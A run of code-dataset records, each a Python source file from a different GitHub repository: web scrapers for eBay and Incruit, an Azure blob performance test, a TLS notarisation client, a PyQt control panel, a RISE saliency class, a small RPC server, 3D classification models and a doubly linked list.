get_base_url(response)\n \n cat_urls = hxs.select('//div[(@class=\"lcat\") or (@id=\"cats-lp\")]//a/@href').extract()\n for cat_url in cat_urls:\n yield Request(urljoin_rfc(base_url, cat_url))\n\n next_page = hxs.select('//table[@class=\"pager\"]//td[@class=\"next\"]/a[1]/@href').extract()\n if not next_page:\n next_page = hxs.select('//a[contains(@class, \"nextBtn\")]/@href').extract()\n\n if next_page:\n yield Request(urljoin_rfc(base_url, next_page[0]))\n\n item_urls = hxs.select('//a[@itemprop=\"url\" or @itemprop=\"name\" or @class=\"vi-url\"]/@href').extract()\n item_urls += hxs.select('//div[contains(@class, \"item-cell\")]//div[@class=\"title\"]/a/@href').extract()\n \n for item_url in item_urls:\n yield Request(item_url, callback=self.parse_product)\n\n def parse_product(self, response):\n hxs = HtmlXPathSelector(response)\n if hxs.select('//div[@id=\"ResultSetItems\"]'):\n for x in self.parse(response):\n yield x\n return\n \n if self.new_products_only:\n condition_new = hxs.select('//div[@id=\"vi-itm-cond\" and contains(text(), \"New\")]')\n if not condition_new:\n return\n\n first_name = ' '.join(hxs.select('//*[@id=\"itemTitle\"]/text()')\n .extract()).strip()\n if not first_name:\n return\n\n identifier = response.url.split('?')[0].split('/')[-1]\n\n try:\n category = hxs.select('//td[contains(@class, \"brumblnkLst\")]//li/a/text()').extract()\n except:\n category = ''\n \n brand = hxs.select('//td[contains(text(), \"Brand:\")]/following-sibling::td[1]/span/text()').extract()\n brand = brand[0] if brand else ''\n\n sku = hxs.select('//td[contains(text(), \"MPN:\")]/following-sibling::td[1]/span/text()').extract()\n sku = sku[0] if sku else ''\n\n product_loader = ProductLoader(item=Product(), selector=hxs)\n product_loader.add_value('name', first_name)\n product_loader.add_value('identifier', identifier)\n product_loader.add_value('category', category)\n product_loader.add_value('brand', brand)\n product_loader.add_value('sku', sku)\n if self.collect_stock:\n stock = hxs.select('//span[@id=\"qtySubTxt\"]/span[contains(text(), \"Last one\")]')\n stock = 1 if stock else 0\n if stock:\n product_loader.add_value('stock', stock)\n else:\n stock = hxs.select('//span[@id=\"qtySubTxt\"]/span/text()').re('\\d+')\n if stock:\n stock = int(stock[0])\n product_loader.add_value('stock', stock)\n\n product_loader.add_xpath('image_url', '//img[@id=\"icImg\"]/@src')\n product_loader.add_value('url', response.url)\n try:\n price = hxs.select('//*[@id=\"prcIsum\"]/text()').extract()[0].strip()\n except:\n try:\n price = hxs.select('//*[@id=\"mm-saleDscPrc\"]/text()').extract()[0].strip()\n except:\n try:\n price = re.search(r'\"binPrice\":\".*([\\d\\.,]+)\",', response.body).groups()[0]\n except:\n price = re.search(r'\"bidPrice\":\".*([\\d\\.,]+)\",', response.body).groups()[0]\n product_loader.add_value('price', extract_price(price))\n\n # shipping cost\n try:\n shipping_cost = hxs.select('//*[@id=\"shippingSection\"]//td/div/text()').extract()[0]\n if shipping_cost:\n if 'free' in shipping_cost.lower():\n product_loader.add_value('shipping_cost', 0)\n else:\n product_loader.add_value('shipping_cost', extract_price(shipping_cost))\n except:\n pass\n\n product_ = product_loader.load_item()\n\n metadata = GetInTheMixMeta()\n metadata['promotion'] = self.get_promotion_text(hxs)\n ean = hxs.select('//td[contains(text(), \"EAN:\")]/following-sibling::td[1]/span/text()').extract()\n metadata['ean'] = ean[0] if ean else ''\n\n product_['metadata'] = metadata\n\n\n options_variations = []\n\n try:\n json_var_map = unicode(hxs.select('//*/text()')\n .re(r'(\"menuItemMap\":{.*}.*),'\n '\"unavailableVariationIds\"')[0])\n except:\n pass\n else:\n json_var_map = re.sub(r',\"watchCountMessage\":\".*?}', '}', json_var_map)\n variations = json.loads('{' + re.sub(r',\"unavailableVariationIds\".*', '', json_var_map) + '}')\n\n menu_map = variations['menuItemMap']\n\n for key, variation in variations['itemVariationsMap'].items():\n if variation['traitValuesMap']:\n new_variation = {}\n for option, value in variation['traitValuesMap'].items():\n new_variation[option] = menu_map[str(value)]['displayName']\n options_variations.append({'price': variation['price'],\n 'values': new_variation,\n 'identifier': '%s:%s' % (identifier, key)})\n\n if options_variations:\n for model in options_variations:\n model_name = first_name + ' ' + \\\n ' '.join(opt_name.strip().lower()\n for o, opt_name in model['values'].items())\n new_product = Product(product_)\n new_product['name'] = model_name\n new_product['identifier'] = model['identifier']\n new_product['price'] = extract_price(model['price'])\n\n yield new_product\n else:\n yield product_\n\n def get_promotion_text(self, hxs):\n promotion = hxs.select('//div[contains(@class, \"vi-VR-prcTmt-hide\")]//span/text()').extract()\n return ' '.join(map(lambda x: x.strip(), promotion))\n","repo_name":"Godsoo/scraping","sub_path":"e-commerce/CompetitorMonitor/product_spiders/spiders/getinthemix_ebay/basespider.py","file_name":"basespider.py","file_ext":"py","file_size_in_byte":6746,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"21512482224","text":"import os\n\nfrom _BlobTest import _BlobTest\n\nfrom azure.test.perfstress import RandomStream\nfrom azure.test.perfstress import AsyncRandomStream\n\nclass UploadBlobTest(_BlobTest):\n def __init__(self, arguments):\n super().__init__(arguments)\n self.data = b'a' * self.Arguments.size\n\n def Run(self):\n data = RandomStream(self.Arguments.size) if self.Arguments.stream else self.data\n self.blob_client.upload_blob(data, length=self.Arguments.size, overwrite=True)\n\n async def RunAsync(self):\n data = AsyncRandomStream(self.Arguments.size) if self.Arguments.stream else self.data\n await self.async_blob_client.upload_blob(data, length=self.Arguments.size, overwrite=True)\n\n @staticmethod\n def AddArguments(parser):\n super(UploadBlobTest, UploadBlobTest).AddArguments(parser)\n parser.add_argument('-s', '--size', nargs='?', type=int, help='Size of blobs to upload. Default is 10240.', default=10240)\n parser.add_argument('--stream', action='store_true', help='Upload stream instead of byte array.', default=False)\n","repo_name":"mikeharder/azure-sdk-perf","sub_path":"python/azure-storage-blob-perfstress/UploadBlobTest.py","file_name":"UploadBlobTest.py","file_ext":"py","file_size_in_byte":1084,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"11084134839","text":"\nfrom devito import * # noqa: F401\n\ntry:\n from devitopro import * # noqa: F401\n from devitopro.types.enriched import (DiskHostDevice, DiskHost, DiskDevice, # noqa: F401\n HostDevice, Host, Device, NoLayers)\n pro_available = True\n\nexcept ImportError:\n DiskHostDevice = None\n DiskHost = None\n DiskDevice = None\n HostDevice = None\n Host = None\n Device = None\n NoLayers = None\n pro_available = False\n","repo_name":"trustimaging/stride","sub_path":"stride/physics/common/import_devito.py","file_name":"import_devito.py","file_ext":"py","file_size_in_byte":472,"program_lang":"python","lang":"en","doc_type":"code","stars":67,"dataset":"github-code","pt":"32"} +{"seq_id":"11466456563","text":"#!/usr/bin/env python\nfrom __future__ import print_function\n\nfrom base64 import b64decode, b64encode\nfrom hashlib import md5, sha1, sha256\nfrom os.path import join\nimport binascii, hmac, os, platform, tarfile\nimport Queue, random, re, shutil, signal, sys, time\nimport SimpleHTTPServer, socket, threading, zipfile\nimport string, json\nfrom optparse import OptionParser\nimport sys\nfrom os import path\nimport exceptions\nimport OpenSSL\nimport time\n\n\n\n#Globals\n\nglobal_tlsver = bytearray('\\x03\\x02')\nglobal_use_gzip = True\nglobal_use_slowaes = False\nglobal_use_paillier = False\n\n#file system setup.\nPROOF_DIR = \"proofs\"\ndata_dir = os.path.dirname(os.path.realpath(__file__))\ninstall_dir = os.path.dirname(data_dir)\nPROOF_DIR = join(data_dir, PROOF_DIR)\nif not os.path.exists(PROOF_DIR):\n os.makedirs(PROOF_DIR)\n\nfrom oracle import oracle_modulus\ntry: import wingdbstub\nexcept: pass\n\nglobal_proof_index = 0\n\n#unpack and check validity of Python modules\ndef first_run_check(modname,modhash):\n if not modhash: return\n mod_dir = join(data_dir, 'python', modname)\n if not os.path.exists(mod_dir):\n print ('Extracting '+modname + '.tar.gz...')\n with open(join(data_dir, 'python', modname+'.tar.gz'), 'rb') as f: tarfile_data = f.read()\n if md5(tarfile_data).hexdigest() != modhash:\n raise Exception ('Wrong hash')\n os.chdir(join(data_dir, 'python'))\n tar = tarfile.open(join(data_dir, 'python', modname+'.tar.gz'), 'r:gz')\n tar.extractall()\n tar.close()\n\n \nmodules_to_load = {'rsa-3.1.4':'b6b1c80e1931d4eba8538fd5d4de1355',\\\n 'pyasn1-0.1.7':'2cbd80fcd4c7b1c82180d3d76fee18c8',\\\n 'slowaes':'','requests-2.3.0':'7449ffdc8ec9ac37bbcd286003c80f00'}\nfor x,h in modules_to_load.iteritems():\n first_run_check(x,h)\n sys.path.append(join(data_dir, 'python', x))\nimport rsa\nimport pyasn1\nimport requests\nfrom pyasn1.type import univ\nfrom pyasn1.codec.der import encoder, decoder\nfrom slowaes import AESModeOfOperation\nsys.path.append( path.dirname( path.dirname( path.abspath(__file__) ) ) )\nimport shared\nshared.load_program_config()\nshared.import_reliable_sites(join(install_dir, 'shared'))\n\n\n #override default config values\nif int(shared.config.get(\"General\",\"tls_11\")) == 0: \t\t\n global_tlsver = bytearray('\\x03\\x01')\nif int(shared.config.get(\"General\",\"decrypt_with_slowaes\")) == 1:\n global_use_slowaes = True\nif int(shared.config.get(\"General\",\"gzip_disabled\")) == 1:\n global_use_gzip = False\nif int(shared.config.get(\"General\",\"use_paillier_scheme\")) == 1:\n global_use_paillier = True\n\n\ndef probe_server_modulus(server):\n probe_session = shared.TLSNClientSession(server, tlsver=global_tlsver)\n print ('ssl port is: ', probe_session.ssl_port)\n tls_sock = shared.create_sock(probe_session.server_name,probe_session.ssl_port)\n try:\n probe_session.start_handshake(tls_sock)\n except Exception as e:\n print(\"tls 1.1 not support\")\n old_tlsver = bytearray('\\x03\\x01')\n probe_session = shared.TLSNClientSession(server, tlsver= old_tlsver)\n tls_sock = shared.create_sock(probe_session.server_name,probe_session.ssl_port)\n probe_session.start_handshake(tls_sock)\n\n server_mod, server_exp = probe_session.extract_mod_and_exp()\n tls_sock.close()\n return shared.bi2ba(server_mod)\n\n\ndef start_generate(server_name, headers, server_modulus):\n global global_tlsver\n global global_use_gzip\n global global_use_slowaes\n\n print(\"server_name:\",server_name)\n session_id = ''.join(random.choice(string.ascii_lowercase+string.digits) for x in range(10))\n tlsn_session = shared.TLSNClientSession(server_name, tlsver=global_tlsver)\n tlsn_session.server_modulus = shared.ba2int(server_modulus)\n tlsn_session.server_mod_length = shared.bi2ba(len(server_modulus))\n\n print ('Preparing encrypted pre-master secret')\n prepare_pms(tlsn_session, session_id)\n\n for i in range(10):\n try:\n print ('Performing handshake with server')\n tls_sock = shared.create_sock(tlsn_session.server_name,tlsn_session.ssl_port)\n tlsn_session.start_handshake(tls_sock)\n retval = negotiate_crippled_secrets(tlsn_session, tls_sock, session_id)\n if not retval == 'success': \n raise shared.TLSNSSLError('Failed to negotiate secrets: '+retval) \n print ('Getting data from server')\n #\n response = make_tlsn_request(headers,tlsn_session,tls_sock)\n #prefix response with number of to-be-ignored records, \n #note: more than 256 unexpected records will cause a failure of audit. Just as well!\n response = shared.bi2ba(tlsn_session.unexpected_server_app_data_count,fixed=1) + response\n break\n except shared.TLSNSSLError:\n shared.ssl_dump(tlsn_session)\n raise \n except Exception as e:\n print ('Exception caught while getting data from server, retrying...', e)\n if i == 9:\n raise Exception('Notarization failed')\n continue\n\n # commit its own hash, get auditor's secrets\n ok, commit_hash, pms2, signature, audit_time = commit_session(tlsn_session, response, session_id)\n if not ok:\n return ok, \"commit hash to auditor failed\"\n# no need to verify signatures\n msg = sha256(commit_hash+pms2+shared.bi2ba(tlsn_session.server_modulus)+audit_time).digest()\n oracle_ba_modulus = binascii.unhexlify(oracle_modulus)\n oracle_int_modulus = shared.ba2int(oracle_ba_modulus)\n print (msg)\n print (signature)\n if not shared.verify_signature(msg, signature, oracle_int_modulus):\n raise Exception(\"Notarization FAILED, notary signature invalid.\")\n \n ok, result = decrypt_html(pms2, tlsn_session)\n if not ok:\n return ok, result\n html = result\n\n print ('Verified OK')\n\n host_line = \"host: \"+ server_name +\"\\r\\n\"\n readable = host_line\n b = \"\"\"\"\"\"\"\"\n\n b = \"\"\" None:\n super(NoDragSlider, self).__init__(*args, **kwargs)\n\n def mouseMoveEvent(self, event: QMouseEvent) -> None:\n \"\"\"Suppress the mouseMoveEvent to disable dragging.\"\"\"\n pass\n\n\nclass ScrollLabel(QScrollArea):\n \"\"\"A QLabel that uses a scroll bar if the text is too long\"\"\"\n\n def __init__(self, *args: Any, **kwargs: Any) -> None:\n super().__init__(*args, **kwargs)\n self.setWidgetResizable(True)\n content = QWidget(self)\n self.setWidget(content)\n lay = QVBoxLayout(content)\n self.label = QLabel(content)\n self.label.setWordWrap(True)\n self.label.setAlignment(Qt.AlignmentFlag.AlignCenter)\n lay.addWidget(self.label)\n\n def setText(self, text: str) -> None:\n \"\"\"\n Set the text of the label\n\n :param text: The text to set\n :return:\n \"\"\"\n self.label.setText(text)\n\n\nclass ControlPanel(QWidget):\n \"\"\"Control Panel\"\"\"\n\n # Define a new signal at the top of the class\n sliderValueChanged = pyqtSignal(str, int)\n comboBoxesSwapped = pyqtSignal(str, str)\n ascii = pyqtSignal()\n\n def __init__(self, title: str, widget_info: dict):\n super().__init__()\n layout = QVBoxLayout(self)\n self.title = title\n self.combo_boxes = []\n self.description = widget_info.get(\"description\", None)\n\n title_box = self.create_panel_title(title, self.description)\n layout.addWidget(title_box)\n\n for info in widget_info.get(\"sliders\", []):\n label, tickMarkLabels, slider_range, orientation, disable_mouse_drag = info\n layout.addWidget(QLabel(label))\n if tickMarkLabels:\n slider = QCustomSlider(\n 0,\n 20,\n 1,\n orientation,\n labels=tickMarkLabels,\n suppress_mouse_move=disable_mouse_drag,\n )\n else:\n slider = QCustomSlider(0, 20, 1, orientation)\n slider.sl.valueChanged.connect(\n lambda value, lbl=label: self.forward_signal(lbl, value)\n )\n slider_frame = self.style_slider(\n slider, slider_range, orientation == Qt.Orientation.Horizontal\n )\n slider_frame.setMaximumHeight(60)\n layout.addWidget(slider_frame)\n # Adding dropdowns\n for info in widget_info.get(\"dropdowns\", []):\n combo_box1 = QComboBox()\n combo_box2 = QComboBox()\n\n combo_box1.addItems(info)\n combo_box2.addItems(info)\n\n layout.addWidget(combo_box1)\n layout.addWidget(combo_box2)\n\n # Append the QComboBoxes to the list\n self.combo_boxes.append((combo_box1, combo_box2))\n # Adding combo box buttons\n for button_text in widget_info.get(\"combo_box_buttons\", []):\n button = QPushButton()\n button.setText(button_text)\n # Use default arguments in the lambda to capture the current values of combo_box1 and combo_box2\n # Assuming one button per pair of dropdowns.\n cb1, cb2 = self.combo_boxes.pop(\n 0\n ) # Pop the first pair of QComboBoxes from the list\n button.clicked.connect(\n lambda checked, cb1=cb1, cb2=cb2: self.grab_values(cb1, cb2)\n )\n\n layout.addWidget(button)\n # ASCII art button\n for button_text in widget_info.get(\"buttons\", []):\n button = QPushButton()\n button.setText(button_text)\n if button_text == \"Unlock Digital Glyphs\":\n button.clicked.connect(\n lambda btn=button: self.convert_to_ascii_art(button)\n )\n layout.addWidget(button)\n layout.addStretch()\n\n def grab_values(self, combo_box1: QComboBox, combo_box2: QComboBox) -> None:\n \"\"\"Grab the values from the QComboBoxes and emit the signal\"\"\"\n value1 = combo_box1.currentText()\n value2 = combo_box2.currentText()\n self.comboBoxesSwapped.emit(value1, value2)\n\n def convert_to_ascii_art(self, button: QPushButton) -> None:\n \"\"\"Request to update the image to ASCII art\"\"\"\n button.setDisabled(True)\n self.ascii.emit()\n\n def forward_signal(self, label: str, value: int) -> None:\n \"\"\"\n Forward the signal from the slider to the main window\n\n :param label:\n :param value:\n :return:\n \"\"\"\n # Emit the new signal\n self.sliderValueChanged.emit(label, value)\n\n @staticmethod\n def create_panel_title(name: str, description: str) -> QFrame:\n \"\"\"\n Stylised control panel title for consistency\n\n :param name:\n :param description:\n :return: QFrame panel title\n \"\"\"\n title_box = QFrame()\n object_name = \"_\".join(name.lower().split())\n\n title_box.setObjectName(object_name + \"_box\")\n title_box.setMinimumSize(200, 0)\n title_box.setStyleSheet(\n f\"QFrame#{object_name + '_box'}\"\n \"{ border: 1px solid 'black'; \"\n \"border-radius: 6px; \"\n \"background-color: 'white'; }\"\n )\n\n title_centre = QVBoxLayout(\n title_box\n ) # Change QHBoxLayout to QVBoxLayout for vertical stacking\n\n title = QLabel(name)\n title.setStyleSheet(\"font-size: 22px\")\n title.setAlignment(Qt.AlignmentFlag.AlignCenter)\n\n desc_label: ScrollLabel = ScrollLabel()\n desc_label.setText(description)\n desc_label.setStyleSheet(\n \"font-size: 16px;\"\n ) # Add some styling for the description\n\n title_centre.addWidget(title)\n title_centre.addWidget(desc_label)\n\n return title_box\n\n @staticmethod\n def style_slider(\n slider: QCustomSlider, range_value: tuple, horizontal: bool\n ) -> QFrame:\n \"\"\"\n Style PyQt6 sliders for consistency\n\n :param range_value:\n :param slider:\n :param slider, range_value, horizontal:\n :return: QFrame slider\n \"\"\"\n slider_frame = QFrame()\n slider_frame.setObjectName(\"sliderframe\")\n slider_frame.setStyleSheet(\n \"QFrame#sliderframe { \"\n \"border: 1px solid 'black';\"\n \"border-radius: 6px;\"\n \"background-color: 'white'; }\"\n \"QSlider::handle:horizontal {\"\n \"background-color: gray;\"\n \"width: 20px;\"\n \"border-radius: 3px; }\"\n \"QSlider::handle:vertical {\"\n \"background-color: black;\"\n \"height: 20px;\"\n \"border-radius: 3px; }\"\n )\n\n if horizontal:\n slider_layout = QHBoxLayout(slider_frame)\n else:\n slider_layout = QVBoxLayout(slider_frame)\n slider_layout.addWidget(QLabel(str(range_value[0])))\n slider_layout.addWidget(slider)\n slider_layout.addWidget(QLabel(str(range_value[-1])))\n\n return slider_frame\n","repo_name":"Flow-Glow/Code-Jam-2023-Async-Aggregators","sub_path":"src/control_panel.py","file_name":"control_panel.py","file_ext":"py","file_size_in_byte":7489,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"23504814404","text":"import numpy as np\nimport torch\nimport torch.nn as nn\nfrom skimage.transform import resize\nfrom tqdm import tqdm\n\n\nclass RISE(nn.Module):\n \"\"\"A RISE class that computes saliency maps with RISE.\n\n \"\"\"\n def __init__(self, model, input_size, N, p1, gpu_batch=100):\n super(RISE, self).__init__()\n self.model = model\n self.input_size = input_size\n self.gpu_batch = gpu_batch\n self.N = N\n self.p1 = p1\n\n def generate_masks(self, N, s, p1, savepath='masks.npy'):\n cell_size = np.ceil(np.array(self.input_size) / s)\n up_size = (s + 1) * cell_size\n\n grid = np.random.rand(N, s, s, s) < p1\n grid = grid.astype('float32')\n\n self.masks = np.empty((N, *self.input_size))\n\n for i in tqdm(range(N), desc='Generating filters'):\n # Random shifts\n x = np.random.randint(0, cell_size[0])\n y = np.random.randint(0, cell_size[1])\n z = np.random.randint(0, cell_size[2])\n # Linear upsampling and cropping\n self.masks[i, :, :, :] = resize(grid[i], up_size, order=1, mode='reflect',anti_aliasing=False)[x:x + self.input_size[0], y:y + self.input_size[1], z:z + self.input_size[2]]\n np.save(savepath, self.masks)\n self.masks = torch.from_numpy(self.masks).float()\n self.masks = self.masks.cuda()\n\n def load_masks(self, filepath):\n self.masks = np.load(filepath)\n self.masks = torch.from_numpy(self.masks).float()\n self.N = self.masks.shape[0]\n\n def forward(self, x):\n N = self.N\n _, L, H, W = x.size()\n # Apply array of filters to the image\n stack = torch.mul(self.masks, x.data)\n stack = torch.unsqueeze(stack, 1)\n stack = stack.to(torch.float32)\n\n # p = nn.Softmax(dim=1)(model(stack)) processed in batches\n p = []\n for i in range(0, N, self.gpu_batch):\n pred, _, _, _ = self.model(stack[i:min(i + self.gpu_batch, N)])\n p.append(nn.Softmax(dim=1)(pred))\n p = torch.cat(p)\n # Number of classes\n CL = p.size(1)\n sal = torch.matmul(p.data.transpose(0, 1), self.masks.view(N, H * W * L))\n sal = sal.view((CL, L, H, W))\n sal = sal / N / self.p1\n return sal\n\n","repo_name":"vickyyu90/maxnet","sub_path":"explanations.py","file_name":"explanations.py","file_ext":"py","file_size_in_byte":2274,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"14776453138","text":"import os, re\nimport requests\nfrom bs4 import BeautifulSoup\n\ndef extract_job(result):\n\n if result.select_one(\"h3 > a\") is None:\n company = result.select_one(\"h3\").get_text().replace(\"관심기업등록\", \"\")\n else:\n company = result.select_one(\"h3 > a\").get_text()\n\n title = result.find(\"span\", {\"class\": \"rcrtTitle\"}).get_text()\n\n location_work = result.select_one(\"p.etc span\").get_text().split(\"|\")[1]\n location = location_work.replace(\">\", \" \").strip()\n\n job_link_work = result.select_one(\"span.rcrtTitle > a\")[\"href\"]\n job_link = re.sub('[^0-9]', \"\", job_link_work)\n\n return {\n '회사': company,\n '채용': title,\n '지역': location,\n \"링크\": f\"https://job.incruit.com/jobdb_info/jobpost.asp?job={job_link}\"\n }\n\ndef extract_incruit_jobs(keyword, pagesNum):\n pagesNum = 20\n jobs = list()\n URL = f\"https://search.incruit.com/list/search.asp?col=job&il=y&kw={keyword}\"\n count = 0\n for page in range(pagesNum):\n count += 1\n if page == 0:\n result = requests.get(f\"{URL}\")\n else:\n result = requests.get(f\"{URL}&startno={page*20}\")\n soup = BeautifulSoup(result.content, 'html.parser')\n results = soup.select(\"ul.litype01 li\")\n if results:\n for result in results:\n job = extract_job(result)\n jobs.append(job)\n else:\n print(\"검색할 페이지가 없습니다.\")\n print(f\"✅InCruit Scrapping 🚀 {count} page\")\n return jobs\n","repo_name":"ivanselah/python_jobserach","sub_path":"jobs_get/incruit.py","file_name":"incruit.py","file_ext":"py","file_size_in_byte":1540,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"2658898819","text":"import threading\nimport socket\nimport ast\nfrom server_procedures import *\nPORT = 5000\nSERVER = socket.gethostbyname((socket.gethostname()))\nADDRESS = (SERVER, PORT)\nMAX_sIZE = 600\n\ndef caller(func_dict):\n fname = list(func_dict.keys())[0]\n arguments = func_dict[fname]\n if fname == \"foo\":\n return foo(*arguments)\n elif fname == \"bar\":\n return bar(*arguments)\n else:\n return \"Invalid\"\n\n\ndef rpc_handler(conn, addr):\n function_info = conn.recv(MAX_sIZE).decode()\n func_dict = ast.literal_eval(function_info)\n print(\"RPC REQUEST: \")\n print(func_dict)\n ret_value = caller(func_dict)\n print(f\"RPC REPLY:{ret_value}\")\n conn.send(str(ret_value).encode())\n conn.close()\n\n\ndef start():\n server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n server.bind(ADDRESS)\n server.listen()\n while True:\n conn, addr = server.accept()\n new_thread = threading.Thread(target=rpc_handler, args=(conn, addr))\n new_thread.start()\n print(f\"[INFO] Active conn.s :{threading.activeCount()-1}\")\n\n\nstart()\n","repo_name":"soumodiptab/Internals-of-Application-Servers-Spring-22","sub_path":"assignments/lab3/testing/rpc_server.py","file_name":"rpc_server.py","file_ext":"py","file_size_in_byte":1080,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"37054390135","text":"from torch import nn\nfrom im2mesh.onet_depth.models import background_setting\nfrom im2mesh.onet_depth.training import compose_inputs\nfrom im2mesh.encoder.pointnet import feature_transform_reguliarzer\nfrom im2mesh.encoder import encoder_dict\n\nclass BaseClassifyModel(nn.Module):\n def __init__(self, encoder=None, num_classes=13, c_dim=512):\n super(BaseClassifyModel, self).__init__()\n\n self.features = encoder\n self.pred_fc = nn.Linear(c_dim, num_classes)\n self.loss_func = nn.CrossEntropyLoss()\n\n def get_inputs(self, data, device):\n raise NotImplementedError\n\n def forward(self, data, device, get_loss=False, get_count=False):\n encoder_inputs = self.get_inputs(data, device)\n\n out = self.features(encoder_inputs)\n if isinstance(out, tuple):\n out = out[0]\n\n out = self.pred_fc(out)\n\n if get_loss:\n class_gt = data.get('category').to(device)\n out = self.loss_func(out, class_gt)\n elif get_count:\n class_gt = data.get('category').to(device)\n class_predict = out.max(dim=1)[1]\n out = (class_predict == class_gt).sum()\n return out\n \n def get_loss(self, data, device):\n return self.forward(data, device, get_loss=True)\n\nclass ImgClassifyModel(BaseClassifyModel):\n def get_inputs(self, data, device):\n inputs = data.get('inputs').to(device)\n return inputs\n\nclass DepthClassifyModel(BaseClassifyModel):\n def __init__(self, encoder=None, num_classes=13, c_dim=512, with_img=False):\n super(DepthClassifyModel, self).__init__(encoder=encoder, num_classes=num_classes, c_dim=c_dim)\n self.with_img = with_img \n\n def get_inputs(self, data, device):\n gt_depth_maps = data.get('inputs.depth').to(device)\n gt_mask = data.get('inputs.mask').to(device).byte()\n background_setting(gt_depth_maps, gt_mask)\n encoder_inputs = gt_depth_maps\n\n if self.with_img:\n img = data.get('inputs').to(device)\n encoder_inputs = {'img':img, 'depth': encoder_inputs}\n\n return encoder_inputs\n\nclass DepthPointcloudClassifyModel(BaseClassifyModel):\n def __init__(self, encoder=None, num_classes=13, c_dim=512, depth_pointcloud_transfer='world', input_type='depth_pointcloud'):\n super(DepthPointcloudClassifyModel, self).__init__(encoder=encoder, num_classes=num_classes, c_dim=c_dim)\n self.depth_pointcloud_transfer = depth_pointcloud_transfer \n self.input_type = input_type\n\n def get_inputs(self, data, device):\n pc, _ = compose_inputs(data, mode='train', device=device, input_type=self.input_type, depth_pointcloud_transfer=self.depth_pointcloud_transfer)\n return pc\n\nclass PointcloudClassify_Pointnet(DepthPointcloudClassifyModel):\n def forward(self, data, device, get_loss=False, get_count=False):\n pc = self.get_inputs(data, device)\n\n out, _, trans_feat = self.features(pc)\n out = self.pred_fc(out)\n\n if get_loss:\n class_gt = data.get('category').to(device)\n out = self.loss_func(out, class_gt)\n out = out + 0.001 * feature_transform_reguliarzer(trans_feat)\n elif get_count:\n class_gt = data.get('category').to(device)\n class_predict = out.max(dim=1)[1]\n out = (class_predict == class_gt).sum()\n\n return out\n\ndef get_model(input_type, cfg):\n encoder_type = cfg['model']['encoder']\n c_dim = cfg['model']['c_dim']\n encoder_kwargs = cfg['model']['encoder_kwargs']\n\n encoder = encoder_dict[encoder_type](\n c_dim=c_dim,\n **encoder_kwargs\n )\n\n if input_type == 'img':\n model = ImgClassifyModel(encoder=encoder, num_classes=13, c_dim=c_dim)\n elif input_type == 'img_with_depth':\n if 'pred_with_img' in cfg['model']:\n pred_with_img = cfg['model']['pred_with_img']\n else:\n pred_with_img = False\n\n model = DepthClassifyModel(encoder=encoder, num_classes=13, c_dim=c_dim, with_img=pred_with_img)\n elif input_type in ('depth_pointcloud', 'depth_pointcloud_completion'):\n if 'depth_pointcloud_transfer' in cfg['model']:\n depth_pointcloud_transfer = cfg['model']['depth_pointcloud_transfer']\n else:\n depth_pointcloud_transfer = 'world'\n\n if encoder_type == 'pointnet':\n # special case for pointnet\n model = PointcloudClassify_Pointnet(encoder=encoder, num_classes=13, c_dim=c_dim, depth_pointcloud_transfer=depth_pointcloud_transfer, input_type=input_type)\n else:\n model = DepthPointcloudClassifyModel(encoder=encoder, num_classes=13, c_dim=c_dim, depth_pointcloud_transfer=depth_pointcloud_transfer, input_type=input_type)\n else:\n raise NotImplementedError\n\n return model\n \n","repo_name":"AlexsaseXie/occnet-depth","sub_path":"classify/model.py","file_name":"model.py","file_ext":"py","file_size_in_byte":4851,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"42933476598","text":"class DoublyLinkedList:\n class Node:\n def __init__(self, data, prev=None, next=None):\n self.data = data\n self.prev = prev\n self.next = next\n \n def __init__(self):\n self.head = self.Node(None)\n self.tail = self.Node(None, self.head)\n self.head.next = self.tail\n self.size = 0\n \n def isEmpty(self):\n return self.size == 0\n \n def getSize(self):\n return self.size\n \n def createNode(self, data):\n NewNode = self.Node(data)\n return NewNode\n \n def deleteNode(self, target):\n del target\n \n def appendNode(self, NewNode):\n if self.head.data == None: # 헤드가 없는 경우\n self.head = NewNode # 헤드에 새 노드를 저장한다.\n self.tail = None\n \n else: # 헤드가 있는 경우\n if self.tail == None:\n self.tail = NewNode\n self.head.next = self.tail\n self.tail.prev = self.head\n else:\n NewNode.prev = self.tail\n self.tail.next = NewNode\n self.tail = NewNode\n\n self.size += 1\n\n def insertAfter(self, location, NewNode):\n current = self.getNodeByLocation(location)\n NewNode.next = current.next\n NewNode.prev = current\n\n if current.next != None:\n current.next.prev = NewNode\n current.next = NewNode\n\n self.size += 1\n\n def removeNode(self, target):\n if self.head == target: # 헤드가 타겟(지우고자 하는 노드)라면\n self.head = target.next # 헤드의 다음 노드를 헤드로 설정한다.\n if self.head != None: # 이 노드가 None이 아니면\n self.head.prev = None # 이 노드의 이전 노드를 설정하지 않는다.\n \n target.prev = None # 타겟(지워지는 노드)의 이전 노드, 다음 노드 포인터를 없앤다.\n target.next = None\n else:\n temp = target # 타겟 정보를 임시 저장합니다.\n\n if target.prev != None: # None이 아닌 경우\n target.prev.next = temp.next # 지우는 타겟의 다음 노드를 타겟의 이전 노드의 다음 노드 포인터로 지정합니다.\n \n if target.next != None:\n target.next.prev = temp.prev # 지우는 타겟의 이전 노드를 타겟의 다음 노드의 이전 노드 포인터로 지정합니다.\n \n target.prev = None\n target.next = None\n\n self.size -= 1 # 사이즈를 1 뺀다\n self.deleteNode(target)\n \n def getNodeByLocation(self, location):\n current = self.head\n\n if location >= self.size:\n print('location Error')\n return None\n \n if location == 0:\n return current\n else:\n for i in range(location):\n current = current.next\n return current\n\ndef PrintNode(node):\n if node.prev == None:\n print(\"Prev: NULL | \", end=\"\")\n else:\n print(f'Prev: {node.prev.data} | ', end=\"\")\n \n print(f'Current: {node.data} | ', end=\"\")\n\n if node.next == None:\n print(\"Next: NULL\")\n else:\n print(f'Next: {node.next.data}')\n\nif __name__ == \"__main__\": \n 